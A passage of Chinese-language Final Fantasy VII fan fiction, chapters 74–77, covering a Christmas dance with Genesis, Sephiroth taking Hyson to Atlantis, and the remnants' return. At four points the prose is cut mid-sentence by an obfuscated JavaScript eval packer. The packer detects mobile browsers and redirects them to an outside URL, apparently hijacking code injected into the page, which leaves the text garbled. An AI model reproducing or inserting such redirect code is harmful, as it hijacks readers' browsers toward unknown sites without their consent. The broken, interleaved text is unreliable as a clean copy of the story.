希森试图抽回手,但扣在腕间的力度却丝毫没有松懈,轻而易举地将她禁锢在原地。双方都不愿让步,在空中陷入无声的僵持。 “……放手。” 萨菲罗斯看着她,指尖微微发力,如同轻咬猎物的蛇,半晌后才慢条斯理地松开手。 她后退了一步,那片阴影并没有再次笼上来。 “你还没有回答我的问题。” 直到半只脚踏出大门时,她才开口:“你不会想听到的。” 虽然这个回答也不是萨菲罗斯想听到的就是了。 希森在他反应过来之前飞快地关上了门。 …… 街道边没看到熟悉的身影和机车,她下意识地环顾四周,半秒后才想起三名思念体已经离开,来接她的人也从亚祖换成了扎克斯。 “你送我的魔石真的很好用,”黑发蓝瞳的边牧已经变回人形,但性格却半点没改,从她上车开始一路滔滔不绝地说到下车,“每次我做错了什么事情,只要变成小狗爱丽丝就不会生气了……” “但是这个方法很快就不管用了。”她提醒。 “欸,为什么?” “因为爱丽丝就在你身后。”她留给扎克斯一个爱莫能助的眼神,转身去帮蒂法准备酒水。 重新营业的第七天堂成为当下最受欢迎的酒吧,也是节日聚会的首选地点,各种订单总是供不应求。但今年老板娘宣布酒吧以后会在圣诞假期暂停营业,空出来筹备亲友间的聚会。 “所以,不管你想邀请谁过来都可以哦。”蒂法接过她手中的薄荷叶,“不用担心,克劳德也同意了。” “……不,还是不要了。” 虽然萨菲罗斯对于人类以及人类的一切活动都不感兴趣,但他绝对不会放过任何一个让克劳德血压高涨的机会。她光是想象一下两人见面的场景就已经戴上了痛苦面具。 “而且我和萨菲罗斯之间还不是那种关系。” 至少她还没有答应。 “这样啊,”蒂法停顿了片刻,“我能问一下……他是个怎么样的人吗?” 她有些惊讶,一时不知道该如何回答。 少女酒红色的眼眸里淌出柔和的笑意,有些不好意思地解释:“因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两名青年怀里的啤酒不小心滑落在地,正手忙脚乱地开始收拾。杰内西斯用诗集挡住了自己的脸,但指尖和肩膀都在微微颤抖。 爱丽丝把百合花束放进花瓶,竖起一根手指:“偷听女孩子间的谈话可是非常不礼貌的行为。” 短暂安静下来的酒吧马上又恢复了方才的热闹,其他人似乎突然间变得特别忙,望天望地就是不看她们的方向。 聚会选在后山的一片草坪上,得益于扎克斯遍地开花的好人缘,几乎所有他们叫得出名字的人都前来边缘城赴邀。喧闹的人群来来往往,她没有小狗那样旺盛的精力,寒暄了几句后便找了个不起眼的角落,刚准备坐下就看到了阴影中背着重剑的金发青年。 克劳德朝她点了点头,然后往一旁挪了挪。 两个短暂失去社交能力的人瞬间达成了共识。 冬季的夜晚来得比其他时节更早,夕阳缓慢沉入天际,绵延的灯火逐渐亮起。克劳德在平安夜的颂歌中忽然开口:“那个,一直没有正式和你说过——” “谢谢你。”两道声音同时响起,又同时顿住。 希森先一步反应过来:“你先说。” “我……谢谢你救了我,一直相信我,”克劳德摸了摸后脑勺的碎发,有些不自在地别过头,“还有……所有的事情。” 她看着眼前那些熟悉的身影:“我也一样。” “如果你有什么愿望……不管是想要回家还是其他,只需要告诉我们就好。”说出这句话似乎耗尽了他的所有力气,“剩下的事情交给我。” 她愣了一下,随后弯起唇角:“好。” 克劳德似乎松了一口气:“聚会要开始了,我们要不要先过——” “原来你们两个躲在这里,这样可不行哦。”爱丽丝的声音在他们身后响起,“你们找到自己的舞伴了吗?” 少女的身影停在他们面前,神情严肃:“你们该不会忘记今晚的活动了吧?” 克劳德:“啊?” 希森:“啊?” 75.第 75 章 晚宴的第一项也是唯一项固定活动是开场舞,参与者必须携舞伴入场,但不限年龄、性别甚至种族。克劳德看起来完全忘记了这回事,而她则是根本不知道。 “你有舞伴的人选了吗?”她很快就从金发陆行鸟的表情里看到了答案,“现在去邀请还来得及。” “你为什么不去?”克劳德一针见血地指出,“你也还没有找到。” “很快就有了,”她是绝对不会承认自己没有舞伴这件事的,“你还是抓紧时间吧。” 金发的陆行鸟环抱双臂,不为所动:“女士优先。” “我们都这么熟了,不用客气,你先。” “你先。” “……你真的不去?”她话锋一转,“那我去邀请蒂法了哦,她一定不忍心拒绝我。” “你……我……我不……”克劳德睁大了眼睛,似乎想说什么又硬生生忍住了,整个人看起来像是遭到了难以置信的背叛。 她忽然明白了为什么萨菲罗斯会如此热衷于纠缠自己的宿敌,哪怕每次都会被对方用六式追着砍也乐此不疲。 因为炸毛的陆行鸟真的很好玩。 “我去附近走一圈,如果还是没人愿意接受邀请的话我就去找蒂法。”她佯装悲伤地叹了口气,“祝你好运。” 希森留下半天说不出话来的克劳德,决定去邀请凯特西二号机。但还没走出多远,她便被一只有力的手从拥挤的人群中抽离出来,红衣红发的青年侧身挡开往来的客人,拉着她往入场的方向走去。 “……你站在那堆榭寄生下面干什么?”杰内西斯没好气地说,“我和安吉尔找了你半天。” 她想起爱丽丝的话,急忙开口:“珍珍,你找到舞伴了吗?” 红发的青年看了她一眼,没有回答。 “爱丽丝说必须要跳开场舞。”繁杂的喧嚣与律动的乐声交织在一起,她以为对方没听清,伸手轻轻扯了扯他外套的袖子,“要是你也还没找到的话,要不我俩凑合一下?” 杰内西斯回过头,露出了吃到酸柠檬的表情。 她有些不解:“你已经有约了吗?” 吃到酸柠檬的表情变成了吃到酸柠檬后导致牙痛的表情。 “啧,你瞎吗?”杰内西斯挑眉,“我的舞伴不就在这里。” “欸——”她弯起唇角,“我可以把这视为邀请吗?” 红衣红发的青年旋身撤步,姿态优雅地弯腰抬眸,向她伸出手。如行云流水般自然而熟练的动作就像是登台的演出者,早已排练过无数次。 “那么,我能否有这个荣幸?” 希森以标准的回礼接受了他的邀请。 四周的彩灯逐渐亮起,音乐也从圣诞颂歌换成了不知名的舞曲。虽然说是开场舞,但这种亲朋好友间的聚会并不会有那些繁文缛节,而是任由大家自由发挥。巴/雷/特让玛琳坐在自己的肩膀上,扛着女孩不断转圈;尤菲抢走了凯特西的坐骑;扎克斯的步伐毫无章法,根本就是抱着爱丽丝到处跑。踏着华尔兹舞步的两人反而显得格格不入,成为了宴会中央的焦点。 杰内西斯天生就是适合站在聚光灯下的那类人,也乐于享受他人的注目。红发的青年挽着她的腰旋过一个漂亮的圈,飘扬的衣角如熊熊烈火。 “放松些,我不会被你踩到。” 她向左并步,转换重心:“所以1st真的要学舞蹈?” “你以为神罗那些宣传活动只需要我们站着拍张照片就够了吗?”杰内西斯懒洋洋地回答,“他们需要的是有价值的商品。” “我还以为你乐在其中。” “你从哪里看出来的?我分明是不忍心辜负那些追随者和爱慕者眼底的期望。”他若有所思,“名声过盛也是一种困扰,万众瞩目并非我的本意。” 希森故意踏错一个舞步:“……有没有人说过你的自我意识有点过盛了?” “不被他人理解也是常态,”杰内西斯面不改色地抽身避开,“毕竟不是所有人都有相同的困扰。” 一曲终了,四周的人陆续交换舞伴。杰内西斯选了一支节奏更快的舞,带着她轻盈而又灵巧地穿梭在人群当中,从舞池中央转到林地边缘。第二支舞曲是一首关于新年前夜的歌谣,空灵的女声夜幕下回荡,又被阵阵欢声笑语吞没。 “你打算一直和我跳到结束吗?” 扎克斯已经是第三次出现在他们身边,但红衣红发的青年每次都留给对方一道鲜艳的背影,小狗幽怨的目光快要凝成实质。 “我的舞伴只有一个。”杰内西斯低下头,烟青色的眼瞳里倒映出朦胧的灯火,那些或是倨傲或是戏谑的笑意早已消失不见,只剩下一片深邃而专注的宁静,“有问题?” 她弯起唇角:“当然没有。” 小狗投来心碎的一眼。 她又说:“但是我想试试跳男步欸。” 小狗幸灾乐祸地走了。 “你突发恶疾?”杰内西斯看了她一眼,“不舒服就去休息。” “可你是我唯一的舞伴,”希森眨了眨眼,“满足一点小小的要求不过分吧?” “哈……”他几乎是一字一顿地开口,“你试试看呢?” 杰内西斯今天对她的容忍度特别高,虽然四周已经浮出点点火星,但他还是调换了舞步。可惜特种兵的身形与气质都和普通人相差甚远,男步与女步的差别并不大,看上去只是动作上略有不同。 下一个节拍便是终止步,她完成最后一道回旋,眼角忽然掠过一抹熟悉的银白。 喧嚣的人群如同翻涌的海潮,在迷离的灯影下模糊作一团,连思维也在温暖得近乎灼热的气氛中逐渐变得迟缓而混沌。所有人都在欢笑着高呼,此起彼伏的声浪到达耳边时却变成了一个个晦涩难懂的音节,好似某种吊诡的呓语。 眼前的一切仿佛被笼上一层朦胧的雾,唯一清晰的存在便是人潮末端那道银发碧瞳的高大身影。那双狭长而冰冷的竖瞳如同在阴影中燃起的磷火,越过层层叠叠的人群攥住她的身影,就像捕食的巨蟒锁定了自己的猎物。 萨菲罗斯朝她弯起唇角。 而后转身走入黑暗,丝绸般的长发在身后扬起一抹皎白的弧度。 她下意识地寻找对方的身影,然而再望去时那里只剩下了邀请蒂法共舞的金发青年,不见任何灾厄存在过的痕迹。晚会的宾客依然在无忧无虑地欢笑,方才的异象仿佛只是一场幻觉,眨眼间便消失不见。 “……发什么呆?” 耳畔响起的声音将她猛然拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915486|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回现实。 在她愣神的空隙,杰内西斯已经抢过节拍,重新换回步调完成了结尾的闭式翼步。红发的特种兵微微俯下身,揽住她后仰的腰,苹果木燃烧时带起的冷冽清香随着微风拂过鼻尖。 “没什么,”希森回过神,正好对上那双烟青色的漂亮眼瞳,“只是灯光有些太亮了。” 亮到足以在对方眼中看清自己的倒影。 “不舒服就去休息。”杰内西斯不由分说地将她带到了甜品区,“我去拿热水,坐在这里等我,别乱跑,不许喝酒。” “我又不是小孩子,”她有些想笑,“我在两个世界的年龄加起来比你还大。” “你当然不是。”红衣红发的青年漫不经心道,“去吃点蛋糕吧,等我回来。” ……完全就是哄小孩的语气,还是非常潦草那种。 不过高热量的甜食确实有助于平复心情,她整理了一下思绪,觉得自己大概是出现了幻觉。 萨菲罗斯不可能出现在这里。杰诺瓦之子极度厌恶人类,也从来不会把这种渺小的生灵放在眼中。 布丁有点酸,大概是柠檬汁放太多了。希森伸手去够最上层的巧克力曲奇,一旁的金发青年顺手帮她取了下来。 “谢谢。” “不客气,”克劳德侧了侧头,“玩得开心吗?” “很开心,”她下意识地回答,“恭喜你——” 她的声音忽然顿住。 直觉正在疯狂预警,有什么地方不太对劲。 眼前的人拥有克劳德的容貌与声音,但那并不是克劳德会用的语气,也不是他会说出口的话。星球英雄向来不擅社交,光是主动问好已经耗尽所有力气。 “那么,尽情享受当下吧,希森,”低沉平滑的音线与青年清亮的声音交织在一起,如同出现故障的电影画面,两副截然不同的容貌频频闪现,“趁你那些宝贵的朋友们还有时间。” 冰冷的餐碟从她呆滞的指间滑落,巧克力曲奇碎成一地。 克劳德愣了一下:“你还好吗?” “啊,抱歉……” 她后退了一步,弯腰正要收拾残局,却被对方伸手拦下。 “还是让我来吧,”克劳德有些担忧地看着她,对刚才的幻象毫无察觉,“你去休息一下。” 希森没有拒绝,补上了刚才未能说完的话:“恭喜你邀请到蒂法,我都看见了哦。” 金发青年的耳根以肉眼可见的速度变红,支支吾吾了半天才说出一句答谢。 “你见鬼了?”杰内西斯把温热的水杯塞进她手里,尚且带着余温的手覆上她的额头,“脸色这么难看。” 这番对话似曾相识。她竖起大拇指:“你真聪明,猜对了。” 杰内西斯冷笑一声,“你这体质还真容易招到一些不干净的东西。” 他伸出手:“还有力气吗?” 她把手放进对方掌心:“你不担心?” “担心什么?”杰内西斯抬起眼帘,慢条斯理道,“这么在意的话,过来我和他跳。” 希森:“……” “你对我的英勇牺牲就是这副反应?”他挑眉,“多少有点伤人了。” 她面无表情:“他打过来了我先跑,你加油。” 76.第 76 章 临近尾声的时候,杰内西斯终于大发慈悲同意了交换舞伴的请求,并答应会和扎克斯友好相处。但等希森和爱丽丝跳完一支歌回来后,小狗已经被红发的特种兵绊倒,安吉尔正在对自己的发小进行素质教育。 距离零点还有半个小时,她以歇息为由婉拒了下半场的邀请,独自留在林地边缘。凛冽的晚风压下急剧飙升的肾上腺素,本因兴奋而乱作一团的思绪也得以缓缓理清。 “不继续么?”冰冷的气息扫过耳廓,丝绸般华丽平滑的嗓音贴着她的耳畔流过,“你那些宝贵的朋友们看起来很失望。” 她回过头。银发竖瞳的幻影自黑暗中浮现,不紧不慢地停下脚步,如同捕食的蛇观察着走投无路的猎物。 “你希望我继续吗?”她反问。 萨菲罗斯没有回答。 “如果你在意的话,其实可以直接邀请我。”希森弯起唇角,把手中凝出的雪团朝对方扔过去,“前提是你的本体在这里。” 雪球并没有像她预料中的那样穿透幻影,而是被覆盖着黑色皮革的手稳稳接住,化作细碎的白沙从指缝滑落。萨菲罗斯上前一步,朦胧的灯光勾勒出特种兵高大的身形,映得那头银白的长发灿若皎月。 “如你所愿,”他说,“我确实在这里。” 她愣了一下,狂欢带来的余热似乎尚未退却,让大脑产生某种不真实的错觉。但飘落指尖的黑羽传回柔软的触感,再次证实眼前的人并非幻觉。 “萨菲罗斯,”希森眨了眨眼,“把手给我。” 被喊到名字的人侧了侧头,碧绿的竖瞳微微眯起,像只略显困惑的大型猫科动物。他停顿片刻,并没有拒绝。 “现在离新年只剩下三十秒,已经赶不上最后一支舞了。”她把一颗打磨成羽翼造型的魔晶石放进对方掌心,无色的透明晶体上倒映出彩灯绮丽的光,“不过礼物还来得及。” 零点的钟声响起,一下又一下,重重地敲在心头,随着剧烈的心跳荡开。 “新年快乐,”希森朝他微笑,“送你一个愿望。” 狭长的竖瞳骤然晕开,深深浅浅的绮丽纹路仿佛宝石上蔓延的裂纹。短暂的错愕在那张如同雕塑般完美无瑕的面容上一闪而过,将平日冰冷而倨傲的面具彻底打碎,显露出几分已逝之人的残影。 他忽然低声笑了起来。 不同以往那些讥讽或嘲弄的笑,也不是野心得到实现后疯狂的笑,只是单纯的笑,就像她刚才做了什么令人忍俊不禁的事情。 就在她愣神的瞬间,没来得及收回的手连同温热的魔石被萨菲罗斯一把扣在掌心,再顺势往怀里一带。漆黑的单翼隔去晚会的喧嚣与灯影,组成一个密不透风的茧,带着她坠入时空裂缝。 “……萨菲罗斯!”熟悉的失重感传来,她下意识地环住对方的脖子,“你想干什么——” “许愿。”萨菲罗斯单手将她抱起,噙着笑意道,“这不就实现了么。” 很好,新年礼物买一送一,她把自己给赔进去了。 天幕从黑夜转为黎明,凛冽的寒风被微湿的暖流取缔,独属于大海的咸涩气息涌入鼻尖。映入眼帘的是一望无际的汪洋,唯独中央矗立着一座孤独的岛屿,迭起的浪潮拍打在黑色的玄武岩上,奏响阵阵涛声。 直到萨菲罗斯抱着她落下,希森才意识到这并不是什么岛屿,而是一座城市的遗址。翻涌的海水没过斑驳的地面,随着外来者的步伐荡起层层涟漪。 从建筑的样式和破损程度上判断,这座城市所处的年代应该很古老。她谨慎地探出头:“这是哪里?” “新生的世界线。”萨菲罗斯在断裂的石柱与残壁间穿行,漆黑的翼羽扫过水面,“这个世界的人类因滥用魔法招致自然灾难,最终导致整座城市被海啸淹没。” 他在一座坍塌的石碑前停下,久经浪潮与海风侵蚀的字符早已模糊不清,只能勉强分辨出大致的轮廓。好在她知道这个名字,也曾告诉过身边的人。 “这便是你想要找的,”萨菲罗斯顿了顿,语调温和得近乎轻语,“因为人类的贪婪和愚蠢诞生的传说。” ——失落的海底之城,亚特兰蒂斯。 百年之后,不再遭受人类污染的海平面开始下降,这座城市残存的废墟终于得以重见天日。 在无数世界线中找到一个传说并不容易。那次他们在海边不欢而散,萨菲罗斯罕见地消失了一段时间,她本以为对方忙于杰诺瓦的宏图伟业,现在看来并不完全是。 希森望向那双漂亮的竖瞳:“这算是回礼?” “你也可以这么理解。” “我以后还想来这条世界线。”她说,“你可以留下它吗?” 萨菲罗斯垂下眼帘。遮去那双竖瞳深处的锋芒后,原本凌厉而极具侵略性的五官轮廓似乎柔和了些许,连带着低沉的嗓音也减去几分压迫感,“好。” 于是她得寸进尺,试着挣脱对方的怀抱:“我还想去中庭那边。” 这次萨菲罗斯并没有答应,轻而易举地将她捞回怀里:“这里不方便行走。” 她轻轻揪了一下银白的发丝:“我的装备防水。” 这个理由无可挑剔,缠紧猎物的的巨蟒略显不悦地看了她一眼,终于松开束缚。 遗址中唯一算得上完好的便是中央的庭院,周边的石柱上刻着这座城市昔日的辉煌与繁荣。这条世界线的文字与她的故乡非常接近,如果那颗星球像原本的命运般迎来末日的话,如今大概便是这幅景象。 “你的星球完好无损。”萨菲罗斯似乎猜到了她的想法,“想回去看看么?” 希森毫不怀疑自己只要回答一声“是”,萨菲罗斯就会找到办法带她回家。但与其相信毁灭世界的灾厄会突发善心,还不如相信神罗改行做慈善,如果她真的带着杰诺瓦回到故土,地球便会像这里一样被列入外星生物的豪华午餐。 她没有被对方的陷阱带进去,摇了摇头:“我已经不再属于那个世界了。” “哦?”萨菲罗斯笑了起来,从容不迫地上前一步,“你这么担心我对你的故乡动手?” 她歪了歪头:“不要说得好像你没做过一样。” “现在没有那个必要了,”萨菲罗斯抬起手,将她被海风扰乱的发丝细细地梳理开来,再别至耳后,“我已经得到了我想要的。” 他的虹膜似乎比平时更艳丽一些,层层叠叠的绿交织在一起,深深浅浅的纹路如同河流汇入中央的深渊,如同打翻在璀璨星河中的颜料,绮丽得令人目眩。她一时愣神,甚至没反应过来对方说了些什么,自然也来不及回答。 冰冷的皮革沿着脸侧的弧度下滑,指尖收起微微发力,以一种轻柔却又不容反抗的力度捧起她的脸。萨菲罗斯低下头,瓷器般光滑且毫无温度的额与她相贴,似有似无的吐息拂过肌肤,激起触电般的酥麻与战栗。 “无论是哪一颗星球,都不过是在苟延残喘,人类终有一天会像毁灭这座城市一样毁灭它们。”他贴着她的唇瓣开口,“你可以看着这一天的到来。” 海风掠过覆满苔藓与贝类的残垣,卷起浪潮细而密的絮语,由远及近,仿佛塞壬的歌谣,引诱迷途的水手坠入深海。她本能地想要回应,思维却凝成一团浆糊,无法组织出有效的语言。 “到了那个时候,”萨菲罗斯弯起唇角,眼底翻涌的汪洋近乎将她吞没,“只会剩下你我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14952338|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 海妖的歌声越来越清晰,无数道声音在她耳畔低吟呓语。 那么饥饿,那么渴求。 “也只有你我。” 海盐清新而咸涩的气息缠绕在呼吸间,似乎有一股看不见的浪潮向她涌来,柔软而又粘稠,一点一点地没过她的意识,取缔她的感官。 “我们会走向永恒。” 强烈的饥饿瞬间感吞没理智,无穷无尽的模糊了现实与幻象的界限,她的意识摇摇欲坠,无法控制地去掠夺触手可及的一切。 接受吧,那些声音化作海妖的歌谣,接受吧,不要抗拒。 巨大的单翼完全伸展开来,如同即将振翅高飞的鸟类,在初阳的照耀下映出溢彩的流光。 吃下吧,吃下树上的禁果,那些低语化作伊甸园的蛇,填补无法忍耐的饥饿。 她只需要迈出那一步,便无需再忍耐痛苦。 可那真的是她的意志吗? 残存的理智在黑暗深处拉响最后一丝微弱的预警,她抓住这刹那间的念头,在最后一刻偏过头,避开了对方进一步的动作。然而这个举动也导致本就意识不清的身体骤然失去平衡,在晃神间坠向一侧。 特种兵有力的臂弯在下一秒揽住她的腰,在落地前将她轻松带回。银白的发丝自脸侧垂落,恰好挡住了萨菲罗斯脸上的神情。 粘稠的海潮退去,海妖的歌声停息,被淹没的理智终于得一浮出水面。她艰难地找回了自己的声音:“……刚才那是什么?” 萨菲罗斯抬起眼帘,神色如常:“你指的是什么?” “别转移话题。”她后退了一步,和对方拉开些许距离,“我刚才感受到的那些……是杰诺瓦的意识吧?” “这么理解倒也没错。”他漫不经心地侧了侧头,“准确来说,是我的意识。” 她忽然有种不详的预感:“你到底对我做了什么?” “杰诺瓦通过寄生原住民的方式吞噬星球,但并非所有宿主的意志都会选择服从。”萨菲罗斯意味深长地停顿片刻,“所以它进化出了读取思维的能力,能幻化为他人所爱或所惧的形象,以侵入和掌控对方的思维。” “我知道,”她有些不解,“但你的形象刚才并没有发生改变。” 碧绿的竖瞳望向她,低沉的语调里忽然染上几分危险的愉悦,“是么?” 她愣了一下,忽然意识到自己刚才说了什么。 什么叫搬起石头砸自己的脚,这就叫搬起石头砸自己的脚。 “所以,”萨菲罗斯没有给她逃避的机会,像捕食的蛇一般抓住猎物的破绽,紧咬住脆弱的咽喉,“为什么拒绝?” 浪潮在无声的沉默中起起伏伏,汇聚成一声很长的叹息。她没有回答,萨菲罗斯也没有催促,只是安静地等待着。 好像只要她不说,他就会一直等下去。 “因为我们约定过,”半晌过后,她才开口,“你会给我时间。” 她是那种会为沿途的风景停留的人,而现在还没到出发的时间。萨菲罗斯说过他可以等,等到她在意的人和事离去,等到这颗星球开始自然消灭。 她抬起头:“你会信守诺言的,对吧?” 萨菲罗斯似笑非笑地看着她,不予可否。 “还有,”她坚定地说,“以后不能再用刚才那种方式了。” 他很轻地笑了一声,依旧没有回答。只是侧过头,看向海的另一端。 她顺着对方的目光望去。深蓝的天穹被金红的焰火点燃,沸腾的潮水卷着鎏金的辉光涌向汪洋与天幕的交界线,璀璨的圆轮在云间升起,为这座失落之城镀上一圈明媚的光。 ——是日出。 77.第 77 章 希森做了一个很奇怪的梦。 大概是因为昨晚结束舞会后没来得及休息,又通宵去亚特兰蒂斯看了日出,导致大脑有些不清醒。她梦到客厅发出了奇怪的声响,下楼一看发现有三只银色的小猫闯进了自己的家,正不断把各种各样的东西往房子里搬。 “妈妈,”其中一只最大的小猫说,“我们回来了。” “罗兹,应该叫姐姐。”为首的另一只小猫给了它一爪子,“姐姐上次没有答应做我们的妈妈。” 最后一只长毛的小猫抬起头:“姐姐,我们给你带了礼物。” “哇,”她感叹道,“旅行杰诺瓦。” 真是一个光怪陆离的梦。 “这是姐姐为我们取的新昵称吗?”长毛小猫把冰冷的脑袋贴上她的手,“我们很喜欢。” ——等等,冰冷的脑袋。 她忽然意识到自己并不是在做梦。 三名思念体少年真的回来了,桌子上堆积成山的魔晶石、兵器和不明物体也不是幻觉。卡丹裘已经把墙上的榭寄生花环换为兽骨,将客厅装点成小偷来了都会扭头就走的风格。 “……等等,”她把一具新鲜的魔兽尸体挡在门外,“这个还是不要放进来了。” 罗兹眼巴巴地看着她:“姐姐不喜欢吗?” “那倒不是。”她面不改色,“我觉得这份礼物更适合给路法斯,你们可以送去W.R.O。” 少年想了想,即将涌出的泪水又退了回去:“好的,姐姐。” 杰诺瓦对于礼物的理解显然和人类有很大差距,准确来说更接近战利品。她从墙角翻出一堆印着红色菱形标志的物资箱,闭了闭眼,悲哀地发现上面的“神罗”二字并非错觉。 希森认命地抬起头:“你们是抢劫了另一条世界线的神罗吗?” “姐姐指的是圆盘城中央的那座大楼吗?”卡丹裘似乎有些困惑,“那些人确实是这么称呼的。” “神罗藏起了「母亲」的本体,我们按照姐姐的教导礼貌询问他们能否归还,或者使用人类的货币购买。”亚祖的语气里含着几分委屈,“但那些人类不愿意沟通,还对我们动手。” “所以你们就把神罗大楼炸了?” “我们没有伤害普通人,拿到「母亲」的资料之后就离开了。”罗兹急急忙忙地解释,“我们只是把那个博士扔下楼,没有杀人。” 卡丹裘不赞同地看了他一眼:“人类很脆弱,从那个高度掉下去会死。” “啊……”少年低下头,“对不起。” “……算了。”她扶住额头,“你们还记得那个博士的外貌或者身份吗?” 三名思念体能够从神罗全身而退,证明那个时间点的萨菲罗斯还没有参加实战,或者说还无法参加实战,初步估计是在1992年之前。 亚祖一直在旁边安静地观察着她的神色,见她并没有责备他们的意思,才再次开口:“是个又矮又瘦的中年男人,有些驼背,戴着一副眼镜。” “那家伙把我们的同类囚禁起来折磨,还命令其他人追捕我们。”卡丹裘弯起唇角,语气里含着几分克制的骄傲,“所以我们毁掉实验室,放走了所有人。” 希森把这辈子最悲伤的事情都想了一遍才没有笑出声。 那条世界线的宝条大概在临死前也想不通到底发生了什么。不可一世的疯狂科学家居然以这种滑稽的方式结束生命,这辈子的研究成功和心血也因这场意外付之东流。 而最讽刺的是,造就这一切的三名少年,在某种意义上也算是他自己的造物。 自食其果。 从卡丹裘的描述来看,那条世界线的萨菲罗斯已经成功从神罗逃走,以他的能力完全可以独自生存下去。虽然不清楚命运的偏离对他会造成什么影响,但应该会比原来好很多吧。 ——至少这次他可以自由地选择想要的路。 至于神罗……哦,其实她不太在意这个。作为造就一切悲剧的始作俑者,这个组织早就应该倒闭了。 “虽然有些冲动,但是做得很好。”她依次摸了摸三人的脑袋,“下次行动前先了解清楚敌人,不要这么莽撞,如果你们遇到的是成年的1st,很可能会回不来。” 猫一般漂亮狭长的竖瞳凝固片刻,三名少年似乎有些惊讶,随后化为毫不掩饰的欣喜。亚祖顺从地蹭了蹭她的手:“姐姐,我们可以再要一张你的合照吗?原来的照片在战斗的时候弄丢了。” 答应了一个要求,就会有下一个。卡丹裘紧接着开口:“姐姐,我可以给哥哥也送一份礼物吗?” “姐姐,”罗兹趴在沙发边缘,“这次我们可以留一周吗,不,三天也可以。” 什么叫得寸进尺,这就叫得寸进尺。一声又一声此起彼伏的“姐姐”喊得她头都痛了,只能挑些不过分的尽量满足。 亚祖帮她把带回来的书搬到二楼,走出房门时顿了顿,又转过身:“姐姐,关于上次的事情……我们的想法依然没有改变。” “你……” 希森刚要开口,却被少年打断:“我知道我们的目前的实力还无法得到你的认可,但我们不会让你失望的。” “我并不会对你们失望。”她叹了口气,意识到让他们放弃这个想法的道路还很漫长。 “姐姐,请等我们。”亚祖似乎并不需要她回答,留下这句话后便离开了。 引擎发动的声音从楼下传来,三名少年的身影越来越远。她把满箱的书分门别类归纳到书架上,但最后一本放的位置太高,她又恰巧分神,指尖一滑便朝着她的头直直砸下来。 预料中的疼痛并没有降临。 覆盖着黑色皮革的手从她身后伸出,在最后一刻接住了掉落的书本。萨菲罗斯的身影悄无声息地浮现在黑暗中,碧绿的竖瞳有如燃烧的磷火。 “这就是你要我等待的原因?”他侧了侧头,水银般的发丝沿着肩头流淌,“你想等那几个思念体?” 她不知道萨菲罗斯已经在这里等了多久,又听到了多少,但他向来对这种事情很有耐心。 “我不并认为他们有能力取代我。”银发的身影上前一步,皎白的月光勾勒出特种兵高大的体型,令那股无处不在的压迫感愈发强烈,“但如果你在意的话,我不介意见证他们失败的结局。” 比幼年体杰诺瓦更令人头疼的生物,就是成年体杰诺瓦,还是和她有感情纠纷的成年体杰诺瓦。希森压抑住后退的本能:“我等待的原因并不是这个,也从来没有没有答应过他们。” “你也没有拒绝。”萨菲罗斯低下头,如同攥紧猎物的巨蟒,“告诉我……你更想成为他们的「母亲」,还是伴侣?” “我对他们——”她忽然意识到了什么,未尽的声音在半空截然而止。 寒夜的风穿透窗户,慢慢渗入她的肌肤,再顺着血液蔓延开来。卡丹裘三人刚才根本没有提到过他们上次谈话的具体内容,那么萨菲罗斯是怎么知道这件事的? “你……”希森抬起头,呼吸一滞,“所以那天……你全部听到了?” 她很清楚杰诺瓦的能力。只要萨菲罗斯想,完全可以在不被察觉的情况下出现在任何地方。 萨菲罗斯弯起唇角,语调里噙着几分意味深长的愉悦:“你以为我平时都在其他世界线?” 不然呢? 哪个正常人能想到空气里有萨菲罗斯? “我……你……不是,”她后知后觉地反应过来,“你跟踪我?” “出现在哪里是我的自由,”萨菲罗斯挑眉,“希森。” 她难以置信:“你还偷听我们的谈话?” 他的神色没有半点波澜:“嘴长在你们身上,我控制不了别人说什么。” “萨菲罗斯!”她差点被气笑了,“你怎么能——” “为什么不能?”萨菲罗斯向前倾身,单手撑在她身后的桌子上,将她牢牢困在书架与自己之间的狭小空隙里。如寒风般极具侵略性的凛冽气息瞬间涌入鼻尖,斥满每一个角落,令人无所遁形,无处可逃。 他低下头,水银般的发丝倾泻而下,编织成一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14975266|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密不透风的网:“因为你不想让我知道?” 这番强盗逻辑令她一时无言以对。 明明跟踪和偷听的人是萨菲罗斯,但现实的情况却是她被对方质问得哑口无言,甚至还产生了几分心虚。 “……你不觉得人与人之间应该保留一点距离吗?”她努力平复呼吸,“这是我的事情。” “我又不是人。”萨菲罗斯漫不经心地抬起眼帘,“有什么是我不能知道的?” 